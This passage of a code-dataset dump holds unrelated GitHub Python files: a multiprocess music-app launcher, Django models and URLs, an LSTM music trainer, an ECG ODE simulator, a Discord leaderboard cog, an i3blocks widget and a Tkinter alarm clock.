'pre_process_step3_single_file.xml']\n    },\n      include_package_data=True,\n)\n","repo_name":"multiply-org/sar-pre-processing","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"}
+{"seq_id":"30523382312","text":"import subprocess\nimport sys\nimport argparse\nimport os                                                                       \nfrom multiprocessing import Pool                                                \n                                                                                \n                                                                                \nprocesses = ('just_video.py', 'just_audio.py', \"base_sound.py\",\"recording_environment.py\",\"video_audio.py\")   \n\ndef run_process(process):  \n    os.system('python3 {}'.format(process))                                       \n\n\ndef program_config(): \n    parser = argparse.ArgumentParser(description='''TO RUN: if using python3, from src: python3 main.py -a \"whatever argument\"\n    --------------------------------\n    This script runs several parallel processes at the same time and\n    shares memory between 2 of them. The real-time image-capturing script captures the area of hand each frame,\n     storages it in memory and overwrites it continuously. The audio script reads that memory (when is not being written) and translates\n    it into music. The other parallel scripts deliver other tasks (background music, recording the environment, etc)\n    <=======> There is a multiprocess option between 2 scripts: The father process captures an area in a \n    frame and stop, the child process (tone) play a sound, the father captures another frame and the cycle \n    starts again. This is a python multiprocess under 3 parallel linux shell multiprocesses.''')\n\n    parser.add_argument('-a',\n                        help='''\n                        Select: [ t / b / r / m].   \n                        t = Test, give it a try. \n                        b = with Background drumset.\n                        r = Recording from microphone your music and environment\n                        m = using Multiprocess architecture, enjoy it.  \n                        u = Upgrading stuff (for developers).\n                        ''',\n                        default=\"t\"\n                        )    \n                    \n    args = parser.parse_args()\n    return args\n\ndef main():    \n    config=program_config()\n    print(\"Selected: \", config.a)\n\n    if config.a=='t':\n\n        print('''Starting Test. \n        \\n Sharing memory between video and audio script while parallel running. 2 scripts''')\n        #subprocess.run(\"python3 just_video.py & python3 just_audio.py\", shell=True) #this is how it worked before\n        pool = Pool(processes=3)                                                        \n        pool.map(run_process, processes[0:2]) \n    \n    elif config.a==\"b\":        \n        print('''Starting with Background drums. \n        \\n Sharing memory between video and audio script while parallel running. 3 scripts''')\n        pool = Pool(processes=3)                                                        \n        pool.map(run_process, processes[0:3])\n\n    elif config.a==\"r\":\n        print('''Do it awesome you funky beast. From now I am recording. \n        \\n Sharing memory between video and audio script while parallel running. 4 scripts''')\n        pool = Pool(processes=4)\n        pool.map(run_process, processes[0:4])\n    elif config.a==\"m\":\n        print(\"Now using subprocesses from the multiprocess library\")\n        pool= Pool(processes=2)\n        pool.map(run_process,[processes[2], processes[4]])\n\nif __name__==\"__main__\":\n    main()\n","repo_name":"albertovpd/hand_dance","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38023581047","text":"import json\nfrom random import choice\n\nfrom pydantic import BaseModel  # pylint: disable=no-name-in-module\n\nfrom core.libs.notifications.email import (\n    EmailMessage,\n    EmailTemplate,\n    email_get_application_context,\n)\n\n\nclass SendParticipantPreparationEmailParams(BaseModel):\n    \"\"\"Params\"\"\"\n\n    application_id: int\n    email: str\n    assets_url: str\n\n\ndef params(email: str, application_id: int, assets_url: str) -> str:\n    \"\"\"Create params\"\"\"\n    json_dump = json.dumps(\n        SendParticipantPreparationEmailParams(\n            email=email, application_id=application_id, assets_url=assets_url\n        ).dict()\n    )\n    return json_dump\n\n\ndef send_participant_preparation_email(\n    procedure_params: SendParticipantPreparationEmailParams,\n):\n    \"\"\"Send participant confirmation email after application has been sent\"\"\"\n    email_template = EmailTemplate(\n        \"email/EmailParticipantPreparation.html\",\n        {\n            **email_get_application_context(procedure_params.application_id),\n            \"assets_url\": procedure_params.assets_url,\n        },\n    )\n    email_message = EmailMessage(\n        email_template,\n        choice(\n            [\n                \"Potwierdzamy termin szkolenia\",\n                \"Termin szkolenia został potwierdzony\",\n            ]\n        ),\n        procedure_params.email,\n    )\n    email_message.send()\n","repo_name":"rolzwy7/wykladowcav2","sub_path":"src/core/tasks/send_participant_preparation_email/procedure.py","file_name":"procedure.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16516554917","text":"import os\nfrom PIL import Image\nimport math\n\n\ndef calc_width_height(width, height, min_size, zoom_rate):\n    w = int(width * zoom_rate)\n    h = int(height * zoom_rate)\n    if w * h < min_size:\n        w = int(math.sqrt(min_size * w / h))\n        h = int(min_size / w)\n    return (w, h)\n\n\ndef process_file(src_file, dst_file, min_size, zoom_rate):\n    with Image.open(src_file) as img:\n        original_width, original_height = img.size\n        (dst_width, dst_height) = calc_width_height(original_width, original_height, min_size, zoom_rate)\n        img.thumbnail((dst_width, dst_height))\n        img.save(dst_file, quality=100)\n\n\ndef process_dir(dir_name, sub_dir_name, zoom_rate):\n    num = 0\n    min_width = int(7360 * zoom_rate)\n    min_height = int(4912 * zoom_rate)\n    min_size = min_width * min_height\n    sub_dir = dir_name + os.sep + sub_dir_name\n    if not os.path.exists(sub_dir):\n        os.mkdir(sub_dir)\n    for p, _, files in os.walk(dir_name):\n        if p != dir_name:\n            continue\n        for f in files:\n            if f.lower().endswith(\".jpg\") or f.lower().endswith(\".png\"):\n                src_file = p + \"/\" + f\n                dst_file = sub_dir + \"/\" + f\n                print(f\"Processing file '{f}' ...\")\n                process_file(src_file, dst_file, min_size, zoom_rate)\n                num = num + 1\n    return num\n","repo_name":"windless0530/submodule-test-app","sub_path":"image_convert/convertBase.py","file_name":"convertBase.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41212608326","text":"from pyramid_layout.panel import panel_config\nfrom resume.libs.path import base\nfrom os.path import join\nfrom ..models import User\n\n@panel_config(name='navbar', renderer='templates/panels/navbar.jinja2')\ndef navbar(context, request):\n    return {}\n\n@panel_config(name='footer', renderer='templates/panels/footer.jinja2')\ndef footer(context, request):\n\n    with open(join(base, 'VERSION.txt')) as f:\n        version = f.read()\n    return {'version': version}\n\n\n@panel_config(name='menu', renderer='templates/panels/menu.jinja2')\ndef menu(context, request):\n    def nav_item(name, path, items=[]):\n        active = any([item['active'] for item in items]) if items else request.path == path\n\n        item = dict(\n            name=name,\n            path=path,\n            active=active,\n            items=items\n            )\n\n        return item\n\n    items = []\n    # items.append(nav_item('resume', '#', [nav_item(name, request.route_path(name)) for name in ['resume_list','resume_edit']]))\n    items.append(nav_item('resume', '#',\n                          [nav_item('edit_profile', request.route_path('edit_profile')),\n                          nav_item('resume_list', request.route_path('resume_list')),\n                          nav_item('resume_edit', request.route_path('resume_edit', id=request.authenticated_userid))] ))\n    if not request.authenticated_userid:\n        items.append(nav_item('user_manu', '#', [nav_item(name, request.route_path(name)) for name in ['login','register']]))\n    else:\n        items.append(nav_item('logout {}'.format(User.objects(id=request.authenticated_userid).first().first_name),\n                              request.route_path('logout')) )\n\n    return {'items': items}\n\n\n@panel_config(name='flash_message', renderer='templates/panels/flash_message.jinja2')\ndef flash_message(context, request):\n    return {}\n\n\n@panel_config(name='pagination', renderer='templates/panels/pagination.jinja2')\ndef pagination(context, request, current_page, total_page):\n    return {'current_page': current_page, 'total_page': total_page}\n\n\n@panel_config(name='back_to_top', renderer='templates/panels/back_to_top.jinja2')\ndef back_to_top(context, request):\n    return {}\n\n","repo_name":"sahama/resume_managment_system","sub_path":"resume/views/panels.py","file_name":"panels.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8296452842","text":"from django.db import models\nfrom django.shortcuts import reverse\nimport uuid\nimport re\n\n\nclass Snippet(models.Model):\n    id = models.UUIDField('уникальный id', primary_key=True, default=uuid.uuid4)\n    title = models.CharField('название сниппета', max_length=200)\n    date_pub = models.DateTimeField('дата создания', auto_now_add=True)\n\n    PRIVATE_STATUS = (\n        ('y', 'Да'),\n        ('n', 'Нет'),\n    )\n    status = models.CharField(\n        'является ли приватным', \n        max_length=1, \n        choices=PRIVATE_STATUS, \n        default='n',\n    )\n\n    class Meta:\n        ordering = ['-date_pub']\n\n    def get_absolute_url(self):\n        return reverse('snippet_datail_url', args=[str(self.id)])\n\n\n    def get_number_of_files(self):\n        return len(self.pieceofcode_set.all())\n\n    def get_code_preview(self):\n        first_part_code = self.pieceofcode_set.first().code\n        line_feed_character_indices = [m.start() for m in re.finditer('\\n', first_part_code)]\n        if len(line_feed_character_indices) < 10:\n            return first_part_code\n        else:\n            index = line_feed_character_indices[9]\n            return first_part_code[:index]\n\n    def __str__(self):\n        return self.title\n\n\nclass PieceOfCode(models.Model):\n    snippet = models.ForeignKey(Snippet, verbose_name='сниппет', on_delete=models.CASCADE)\n    LANGUAGES = (\n        (None, '------'),\n        ('py', 'Python'),\n        ('js', 'Javascript'),\n        ('php', 'PHP'),\n        ('java', 'Java'),\n        ('swift', 'Swift'),\n        )\n    language = models.CharField(\n        'язык программирования', \n        max_length=5, \n        choices=LANGUAGES, \n        blank=True,\n    )\n    code = models.TextField('код')\n\n    def __str__(self):\n        return '{code_id} код сниппета {snippet}'.format(\n            code_id = self.id,\n            snippet = self.snippet.title\n            )\n","repo_name":"anderskate/Site_for_snippets","sub_path":"catalog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34768277465","text":"'''\nAqui é a forma mais comum utilizada para verificar\nse um número é par ou não\n'''\n\nnum = int(input('Digite um número: '))\n\n# Verifico se o número é par ou não\n# validando o módulo de 2\nif num % 2 == 0:\n    print('PAR')\nelse:\n    print('ÍMPAR')\n","repo_name":"rafaelpuyau/scripts_em_python","sub_path":"testanumpar.py","file_name":"testanumpar.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72651954000","text":"from lstm_preprocessing import get_notes\nfrom lstm_preprocessing import prepare_sequences\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\nfrom keras.layers import LSTM\nfrom keras.layers import Activation\nfrom keras.layers import BatchNormalization as BatchNorm\nfrom keras.callbacks import ModelCheckpoint\n\n\ndef create_network(network_input, n_vocab):\n    \"\"\" create the structure of the neural network \"\"\"\n    model = Sequential()\n    model.add(LSTM(\n        512,\n        input_shape=(network_input.shape[1], network_input.shape[2]),\n        recurrent_dropout=0.3,\n        return_sequences=True\n    ))\n    model.add(LSTM(512, return_sequences=True, recurrent_dropout=0.3, ))\n    model.add(LSTM(512))\n    model.add(BatchNorm())\n    model.add(Dropout(0.3))\n    model.add(Dense(256))\n    model.add(Activation('relu'))\n    model.add(BatchNorm())\n    model.add(Dropout(0.3))\n    model.add(Dense(n_vocab))\n    model.add(Activation('softmax'))\n    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n\n    return model\n\n\ndef train_network():\n    \"\"\" Train a Neural Network to generate music \"\"\"\n    notes = get_notes()\n\n    # get amount of pitch names\n    n_vocab = len(set(notes))\n\n    network_input, network_output = prepare_sequences(notes, n_vocab)\n\n    model = create_network(network_input, n_vocab)\n\n    train(model, network_input, network_output)\n\n\ndef train(model, network_input, network_output):\n    \"\"\" train the neural network \"\"\"\n    filepath = \"lstm-weights-improvement-{epoch:02d}-{loss:.4f}-bigger.hdf5\"\n    checkpoint = ModelCheckpoint(\n        filepath,\n        monitor='loss',\n        verbose=0,\n        save_best_only=True,\n        mode='min'\n    )\n    callbacks_list = [checkpoint]\n\n    model.fit(network_input, network_output, epochs=200, batch_size=128, callbacks=callbacks_list)\n\n#train_network()","repo_name":"JBhanini/music_generation_with_deep_learning","sub_path":"lstm_train.py","file_name":"lstm_train.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70771775122","text":"import torch\nimport math\nfrom sim_gan.dynamical_model import utils\nimport time\nimport matplotlib.pyplot as plt\n\n\nclass ODEParams:\n    def __init__(self, device_name):\n        self.A = torch.tensor(0.005).to(device_name)  # mV\n        self.f1 = torch.tensor(0.1).to(device_name)  # mean 1\n        self.f2 = torch.tensor(0.25).to(device_name)  # mean 2\n        self.c1 = torch.tensor(0.01).to(device_name)  # std 1\n        self.c2 = torch.tensor(0.01).to(device_name)  # std 2\n        self.rrpc = utils.generate_omega_function(self.f1, self.f2, self.c1, self.c2)\n        self.rrpc = torch.tensor(self.rrpc).to(device_name)\n        self.h = torch.tensor(1 / 216).to(device_name)\n\n\ndef single_step_euler(ode_params, x_curr, y_curr, z_curr, t_curr, input_params,\n                            device_name):\n\n    h = ode_params.h\n    A = ode_params.A\n    f2 = ode_params.f2\n    rrpc = ode_params.rrpc.float()\n\n    a_p = input_params[0]\n    a_q = input_params[3]\n    a_r = input_params[6]\n    a_s = input_params[9]\n    a_t = input_params[12]\n\n    b_p = input_params[1]\n    b_q = input_params[4]\n    b_r = input_params[7]\n    b_s = input_params[10]\n    b_t = input_params[13]\n\n    theta_p = input_params[2]\n    theta_q = input_params[5]\n    theta_r = input_params[8]\n    theta_s = input_params[11]\n    theta_t = input_params[14]\n\n    alpha = 1 - (x_curr * x_curr + y_curr * y_curr) ** 0.5\n    cast = (t_curr / h).type(torch.IntTensor)\n    tensor_temp = 1 + cast\n    tensor_temp = tensor_temp % len(rrpc)\n    if rrpc[tensor_temp] == 0:\n        print(\"***inside zero***\")\n        omega = (2.0 * math.pi / 1e-3)\n        # omega = torch.tensor(math.inf).to(device_name)\n    else:\n        omega = (2.0 * math.pi / rrpc[tensor_temp]).to(device_name)\n\n\n\n    d_x_d_t_next = alpha * x_curr - omega * y_curr\n\n    d_y_d_t_next = alpha * y_curr + omega * x_curr\n\n    theta = torch.atan2(y_curr, x_curr)\n    delta_theta_p = torch.fmod(theta - theta_p, 2 * math.pi)\n    delta_theta_q = torch.fmod(theta - theta_q, 2 * math.pi)\n    delta_theta_r = torch.fmod(theta - theta_r, 2 * math.pi)\n    delta_theta_s = torch.fmod(theta - theta_s, 2 * math.pi)\n    delta_theta_t = torch.fmod(theta - theta_t, 2 * math.pi)\n\n    z_p = a_p * delta_theta_p * \\\n           torch.exp((- delta_theta_p * delta_theta_p / (2 * b_p * b_p)))\n\n    z_q = a_q * delta_theta_q * \\\n           torch.exp((- delta_theta_q * delta_theta_q / (2 * b_q * b_q)))\n\n    z_r = a_r * delta_theta_r * \\\n           torch.exp((- delta_theta_r * delta_theta_r / (2 * b_r * b_r)))\n\n    z_s = a_s * delta_theta_s * \\\n           torch.exp((- delta_theta_s * delta_theta_s / (2 * b_s * b_s)))\n\n    z_t = a_t * delta_theta_t * \\\n          torch.exp((- delta_theta_t * delta_theta_t / (2 * b_t * b_t)))\n\n    z_0_t = (A * torch.sin(torch.tensor(2 * math.pi).to(device_name) * f2 * t_curr).to(device_name)).to(device_name)\n\n    d_z_d_t_next = -1 * (z_p + z_q + z_r + z_s + z_t) - (z_curr - z_0_t)\n\n    k1_x = h * d_x_d_t_next\n\n    k1_y = h * d_y_d_t_next\n\n    k1_z = h * d_z_d_t_next\n    # Calculate next stage:\n    x_next = x_curr + k1_x\n    y_next = y_curr + k1_y\n    z_next = z_curr + k1_z\n\n    return x_next, y_next, z_next\n\n\nif __name__ == \"__main__\":\n\n    ode_params = ODEParams('cpu')\n\n    input_params = torch.nn.Parameter(\n        torch.tensor([1.2, 0.25, -60.0 * math.pi / 180.0, -5.0, 0.1, -15.0 * math.pi / 180.0,\n                      30.0, 0.1, 0.0 * math.pi / 180.0, -7.5, 0.1, 15.0 * math.pi / 180.0, 0.75, 0.4,\n                      90.0 * math.pi / 180.0]))\n    x = torch.tensor(-0.417750770388669)\n    y = torch.tensor(-0.9085616622823985)\n    z = torch.tensor(-0.004551233843726818)\n    # x = torch.tensor(1.0)\n    # y = torch.tensor(0.0)\n    # z = torch.tensor(0.04)\n    t = torch.tensor(0.0)\n    x_next, y_next, z_next = single_step_euler(ode_params, x, y, z, t, input_params, 'cpu')\n    x_t = [x_next]\n    y_t = [y_next]\n    z_t = [z_next]\n    start = time.time()\n    for i in range(215 * 1):\n        last = z_t[-1]\n\n        t += 1 / 512\n        x_next, y_next, z_next = single_step_euler(ode_params, x_next, y_next, z_next, t, input_params, 'cpu')\n        x_t.append(x_next)\n        y_t.append(y_next)\n        z_t.append(z_next)\n    end = time.time()\n    print(\"time: \", end - start)\n    # last = z_t[-1]\n    # print(last.backward())\n    # print(input_params.grad)\n    print(\"Z: {}\".format([x.detach().item() for x in z_t]))\n    print(\"X: {}\".format([x.detach().item() for x in x_t]))\n    print(\"Y: {}\".format([x.detach().item() for x in y_t]))\n    print(len(z_t))\n    print(\"Max value in the signal: \", max(z_t))\n    print(\"Min valuein the signal:\", min(z_t))\n    res = [x.detach().numpy() for x in z_t]\n    print(len(res))\n    plt.plot(res)\n    plt.show()\n","repo_name":"DreamStudioAI/sim_gan","sub_path":"sim_gan/dynamical_model/Euler/single_step.py","file_name":"single_step.py","file_ext":"py","file_size_in_byte":4707,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"37017020790","text":"#!/bin/python3\n\nimport os\nfrom pyaare.pyaare import PyAare\n\n# Set Bern as the default city, if there is none specified\ndefault_city = \"Bern\"\ndefault_threshold = 18.0\n\n# Get the environment variables from i3blocks config\naare_city = os.environ.get('aare_city')\naare_threshold = os.environ.get('aare_threshold')\n\n# Check if a mouse button was pressed\nblock_button = os.environ['BLOCK_BUTTON'] if 'BLOCK_BUTTON' in os.environ else None\nblock_button = int(block_button) if block_button else None\n\n# Ensure a city is set (otherwise pyare will crash)\nif aare_city is None:\n    aare_city = default_city\n\nif aare_threshold is None:\n    aare_threshold = default_threshold\n\naare = PyAare(city = aare_city)\nif block_button == 3:\n    # Get forecast temperature\n    temp = aare.tempC2h\nelse:\n    # Get the Aare temperature\n    temp = aare.tempC\n\nif block_button == 2:\n    # Get the flow and the corresponding text\n    flow = aare.flow\n    flow_text = aare.flowText\n\n# Decide if a jump into the Aare is encouraged or not\nif temp < float(aare_threshold):\n    color = '#FFFFFF'\n    fulltext = \"<span font='FontAwesome'>\\uf773</span> \"\nelse:\n    color = '#64C8FA'\n    fulltext = \"<span font='FontAwesome'>\\uf5c4</span> \"\n\nif block_button == 3:\n    fulltext += \"<span>2h:</span> \"\n\nif block_button == 2:\n    form =  '<span>{} m³/s: {}</span>'\n    fulltext += form.format(flow,flow_text)\nelse:\n    form =  '<span color=\"{}\">{}°</span>'\n    fulltext += form.format(color,temp)\n\n\nprint(fulltext)\nprint(fulltext)\n","repo_name":"dominiqueroux/i3blocks-aareguru","sub_path":"aareguru.py","file_name":"aareguru.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11088912328","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.home, name='home'),\n    path('investments/', views.list, name='list'),\n    path('investments/<int:id>/', views.detail, name='detail'),\n    path('investments/create/', views.InvestmentCreate.as_view(), name='create_investment'),\n    path('investments/<int:pk>/update/', views.InvestmentUpdate.as_view(), name='update_investment'),\n    path('investments/<int:pk>/delete/', views.InvestmentDelete.as_view(), name='delete_investment'),\n    path('investments/<int:id>/add_prediction/', views.add_prediction, name='add_prediction'),\n    path('remove_prediction/<int:prediction_id>/', views.remove_prediction, name='remove_prediction'),\n    path('investments/<int:id>/assoc_source/<int:source_id>/', views.assoc_source, name='assoc_source'),\n    path('investments/<int:id>/unassoc_source/<int:source_id>/', views.unassoc_source, name='unassoc_source'),\n    path('sources/', views.SourceList.as_view(), name='list_source'),\n    path('sources/create/', views.SourceCreate.as_view(), name='create_source'),\n    path('sources/<int:pk>/update/', views.SourceUpdate.as_view(), name='update_source'),\n    path('sources/<int:pk>/delete/', views.SourceDelete.as_view(), name='delete_source'),\n    path('sources/<int:pk>/', views.SourceDetail.as_view(), name='source_detail'),\n]","repo_name":"mohameddiopcodes/Investis","sub_path":"main_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28395210331","text":"'''----------------------------------------------------------------------------\\\n| ||\\\\    //||       /|¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\\ |\n| || \\\\  // ||  (o_ / |                  SUPPLEMENTARY FILE                  | |\n| ||  \\\\//  ||  //\\/  |                         ----                         | |\n| ||   \\/   ||  V_/_  |                  LEADERBOARD SYSTEM                  | |\n| ||        ||        |‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗‗/ |\n\\----------------------------------------------------------------------------'''\n\nimport discord\nfrom discord.ext import commands, tasks\nfrom datetime import datetime, timezone\n\n# Import database methods\nfrom foundationBotDatabaseStuff import *\n\n# import logger\nfrom foundationBotLogger import *\nlogger = Logger()\n\n# Screenshot Leaderboard Entry Object\nclass screenshotLeaderboardEntry:\n    def __init__(self):\n        self.screenshotID = None\n        self.score = None\n\n# Messages Leaderboard Entry Object\nclass messagesLeaderboardEntry:\n    def __init__(self):\n        self.userID = None\n        self.score = None\n\n# Leaderboard System Class\nclass leaderboardSystem:\n    def __init__(self):\n        self.screenshotLeaderboard = []\n        self.messagesLeaderboard = []\n        self.screenshotSaveList = []\n        self.messagesSaveList = []\n    \n    def getScreenshotLeaderboard(self):\n        return self.screenshotLeaderboard\n    \n    def setScreenshotLeaderboard(self, sl):\n        self.screenshotLeaderboard = sl\n    \n    def getScreenshotLeaderboardEntry(self, screenshotID):\n        for entry in self.screenshotLeaderboard:\n            if entry.screenshotID == screenshotID:\n                return entry\n    \n    def createScreenshotLeaderboardEntry(self, sle):\n        self.screenshotLeaderboard.append(sle)\n    \n    def setScreenshotLeaderboardEntryScore(self, sle):\n        for entry in self.screenshotLeaderboard:\n            if entry.screenshotID == sle.screenshotID:\n                entry.score = sle.score\n    \n    def getScreenshotSaveList(self):\n        return self.screenshotSaveList\n    \n    def clearScreenshotSaveList(self):\n        self.screenshotSaveList = []\n    \n    def createScreenshotSaveListEntry(self, sle):\n        self.screenshotSaveList.append(sle)\n    \n    def setScreenshotSaveListEntryScore(self, sle):\n        for entry in self.screenshotSaveList:\n            if entry.screenshotID == sle.screenshotID:\n                entry.score = sle.score\n    \n    def getMessagesLeaderboard(self):\n        return self.messagesLeaderboard\n    \n    def setMessagesLeaderboard(self, ml):\n        self.messagesLeaderboard = ml\n    \n    def getMessagesLeaderboardEntry(self, userID):\n        for entry in self.messagesLeaderboard:\n            if entry.userID == userID:\n                return entry\n    \n    def createMessagesLeaderboardEntry(self, mle):\n        self.messagesLeaderboard.append(mle)\n    \n    def setMessagesLeaderboardEntryScore(self, mle):\n        for entry in self.messagesLeaderboard:\n            if entry.userID == mle.userID:\n                entry.score = mle.score\n    \n    def getMessagesSaveList(self):\n        return self.messagesSaveList\n    \n    def clearMessagesSaveList(self):\n        self.messagesSaveList = []\n    \n    def createMessagesSaveListEntry(self, mle):\n        self.messagesSaveList.append(mle)\n    \n    def setMessagesSaveListEntryScore(self, mle):\n        for entry in self.messagesSaveList:\n            if entry.userID == mle.userID:\n                entry.score = mle.score\n    \nclass LeaderboardPost(commands.Cog):\n    def __init__(self, bot, conn, settings, leaderboardSystem):\n        self.bot = bot\n        self.conn = conn\n        self.settings = settings\n        self.leaderboardSystem = leaderboardSystem\n        self.post.start()\n    \n    @tasks.loop(minutes=10.0)\n    async def post(self):\n        #logger.getLogger().info('Leaderboard Postcheck Loop Started')\n        if self.settings.messagesPostTime != None:\n            if datetime.now(timezone.utc).timestamp() >= self.settings.messagesPostTime:\n                guild = self.bot.get_guild(self.settings.guildID)\n                leaderboard = self.leaderboardSystem.getMessagesLeaderboard()\n                self.leaderboardSystem.setMessagesLeaderboard([])\n                self.leaderboardSystem.clearMessagesSaveList()\n                clear_messages_leaderboard(self.conn)\n                create_messages_leaderboard_table(self.conn)\n                self.settings.messagesPostTime += self.settings.leaderboardInterval*24*3600\n                update_setting(self.conn, (self.settings.messagesPostTime,'messagesPostTime'))\n                if len(leaderboard) > 0:\n                    formattedleaderboard = [[0]*2 for i in range(len(leaderboard))]\n                    for i,entry in enumerate(leaderboard):\n                        if guild.get_member(entry.userID) != None: # check if user is still in the server\n                            formattedleaderboard[i][0] = guild.get_member(entry.userID).display_name # userid converted to display name\n                            formattedleaderboard[i][1] = entry.score\n                        else:\n                            continue\n                    formattedleaderboard.sort(key=lambda x: x[1], reverse = True)\n                    users = ''\n                    scores = ''\n                    for i,entry in enumerate(formattedleaderboard):\n                        if i < 10:\n                            users += entry[0] + '\\n'\n                            scores += str(entry[1]) + '\\n'\n                        else:\n                            break\n                    embed = discord.Embed(\n                            title = 'Messages Leaderboard Week ' + str(datetime.now(timezone.utc).isocalendar()[1]),\n                            #description = '',\n                            colour = discord.Colour.dark_green()\n                            )\n                    embed.add_field(name='Username' , value=users, inline=True)\n                    embed.add_field(name='Score', value=scores, inline=True)\n                    await guild.get_channel(self.settings.leaderboardChannel).send(embed=embed)\n        \n        if self.settings.screenshotPostTime != None:\n            if datetime.now(timezone.utc).timestamp() >= self.settings.screenshotPostTime:\n                guild = self.bot.get_guild(self.settings.guildID)\n                leaderboard = self.leaderboardSystem.getScreenshotLeaderboard()\n                self.leaderboardSystem.setScreenshotLeaderboard([])\n                self.leaderboardSystem.clearScreenshotSaveList()\n                clear_screenshot_leaderboard(self.conn)\n                create_screenshot_leaderboard_table(self.conn)\n                self.settings.screenshotPostTime += self.settings.leaderboardInterval*24*3600\n                update_setting(self.conn, (self.settings.screenshotPostTime,'screenshotPostTime'))\n                if len(leaderboard) > 0:\n                    winningEntry = leaderboard[0]\n                    for entry in leaderboard:\n                        if entry.score > winningEntry.score:\n                            winningEntry = entry\n                    if any(entry.score == winningEntry.score for entry in leaderboard):\n                        winningEntries = []\n                        for entry in leaderboard:\n                            if entry.score == winningEntry.score:\n                                winningEntries.append(entry)\n                    if self.settings.screenshotChannel != None:\n                        for entry in winningEntries:\n                            message = await guild.get_channel(self.settings.screenshotChannel).fetch_message(entry.screenshotID)\n                            if message.author != None:\n                                embed = discord.Embed(\n                                        title = 'Screenshot Leaderboard Week ' + str(datetime.now(timezone.utc).isocalendar()[1]),\n                                        description = 'Winner: ' + message.author.mention + ' with ' + str(entry.score) + ' Votes!',\n                                        colour = discord.Colour.dark_green()\n                                        )\n                                for attachment in message.attachments:\n                                    embed.set_image(url=attachment.url)\n                                    break\n                                await guild.get_channel(self.settings.leaderboardChannel).send(embed=embed)\n    \n    @post.before_loop\n    async def before_post(self):\n        await self.bot.wait_until_ready()","repo_name":"Minotorious/FoundationBot","sub_path":"foundationBotLeaderboard.py","file_name":"foundationBotLeaderboard.py","file_ext":"py","file_size_in_byte":8772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1337987900","text":"\r\nfrom tkinter import*\r\nfrom PIL import ImageTk,Image\r\nfrom tkinter import messagebox as MessageBox\r\nfrom tkinter import colorchooser as ColorChooser\r\nimport time \r\nimport pygame,sys\r\nfrom pygame.locals import*\r\nfrom tkinter import filedialog\r\npygame.init() \r\n\r\n\r\nroot=Tk()\r\nroot.title(\"love Alarm\")\r\nroot.geometry(\"350x350\")\r\nventanaprincipal=Frame(root,width=1000,height=1000,bg=\"#10ffaa\")\r\nventanaprincipal.grid()\r\n\r\ndef clock():\r\n    HoraDeReloj=time.strftime(\"%H\")\r\n    MinutosDeReloj=time.strftime(\"%M\")\r\n    SegundosDeReloj=time.strftime(\"%S\")\r\n    Tiempo=time.strftime(HoraDeReloj+\":\"+MinutosDeReloj+\":\"+SegundosDeReloj)\r\n    Labelreloj.config(text=Tiempo)\r\n    Labelreloj.after(1000,clock)\r\n   \r\n    if(HoraDeReloj==entryhoras.get()):\r\n        if(MinutosDeReloj==EntryMinutos.get()):\r\n            if(SegundosDeReloj==\"00\"):\r\n                pygame.mixer.music.play()\r\n                respuesta=MessageBox.askquestion(\"AskQuestion\",\"Desea pausar la alarma?\")\r\n                if(respuesta==\"yes\"):\r\n                    pygame.mixer.music.stop()\r\ndef alarmapotente():\r\n    MessageBox.showwarning(\"ShowWarning\",\"Alarma establecida\")\r\ndef mostrarmusica():\r\n    cancion=filedialog.askopenfilename()\r\n    pygame.mixer.music.load(cancion)\r\n\r\nLabelTITULO=Label(ventanaprincipal, 